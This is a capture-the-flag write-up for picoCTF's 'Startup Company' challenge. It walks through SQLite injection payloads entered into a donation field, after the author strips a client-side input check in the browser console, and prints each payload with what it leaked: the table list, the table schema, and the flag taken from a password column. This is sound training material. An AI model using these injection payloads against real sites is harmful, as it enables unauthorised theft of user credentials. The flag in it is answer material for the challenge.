# Startup CompanyThis is a `SQLi` challenge that involves leaking table data in order to find the flag. I Registered for an account and entered the payload into the `donation` input bar by removing it's `number only` class via the debug console and I get an `database error`. Now what?
## Method
We are supposed to extract table names and stuff using SQLi
Reffer to `Empire 1 ` from pico2019
# Payloads and Leaks
payload
```'||(select tbl_name FROM sqlite_master WHERE type='table' limit 0,1 COLLATE NOCASE)||'```
leak
```startup_users```We see that we found a table called `startup_users`---
payload
```'||(select tbl_name FROM sqlite_master WHERE type='table' limit 1,1 COLLATE NOCASE)||'```
leak
```none```We see that `startup_users` is the only table in the database.---
payload
```'||(select sql FROM sqlite_master WHERE type='table' limit 0,1 COLLATE NOCASE)||'```
leak
```$CREATE TABLE startup_users (nameuser text, wordpass text, money int)```We leak the SQL structure of the table in which we can see the `wordpass` column stands out.---
payload
```'||(select wordpass FROM startup_users where wordpass like '%picoCTF%' limit 0,1 COLLATE NOCASE)||'```
leak
```picoCTF{1_c4nn0t_s33_y0u_55fb70fa}```We have leaked the `word_pass` column data.